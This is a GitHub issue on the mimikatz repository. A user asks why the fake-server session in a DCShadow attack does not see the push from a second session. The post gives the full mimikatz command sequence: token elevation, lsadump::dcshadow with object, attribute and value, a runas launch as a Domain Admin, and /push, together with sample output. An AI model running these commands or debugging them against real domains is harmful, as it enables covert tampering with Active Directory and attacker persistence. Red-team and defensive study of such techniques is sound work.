#460·mimikatz

New issue where the client Mimikatz session cannot see the RPC/fake server in a DCShadow attack

Author: rick-engleCreated Jan 23, 2025Updated Oct 29, 2025

I've been using the DCShadow attack with Mimikatz for quite a while successfully but without any known changes I'm seeing a new scenario where my fake server is not being seen. I'm running the attack on a domain joined Windows 11 PC and the Windows firewall is turned off on that side but not on the DC. That is how I have been previously running the attack.

On session #1 I am running cmd.exe as an administrator then within mimikatz I run: !+ !processtoken

then run the attribute command like this: lsadump::dcshadow /object:user1compromised /attribute:LastLogonTimestamp /value=133793784493602588

I then see the server start up and waiting until a Cntrl-C is pressed.

In session #2, I launch it with: runas /user:mydomain.com\baduser "C:\Attackfolder\x64\mimikatz.exe" (baduser is a Domain Admin)

Then when that comes up, I run the command: lsadump::dcshadow /push

I do see output in session #2 that looks like this below, but there is no response on the fake server session side and the attribute is not updated:

Server: DC1.mydomain.com InstanceId : {52021f09-72f2-4471-9114-9e582b9c071c} InvocationId: {84090195-1a7d-43c3-8959-c7c59226d0a3} Fake Server (not already registered): VICTIM1.mydomain.com

** Performing Registration **

** Performing Push **

Syncing DC=mydomain,DC=com Sync Done

How can I troubleshoot this to determine why the server session of Mimikatz is not detecting the push command from the other session?

Rick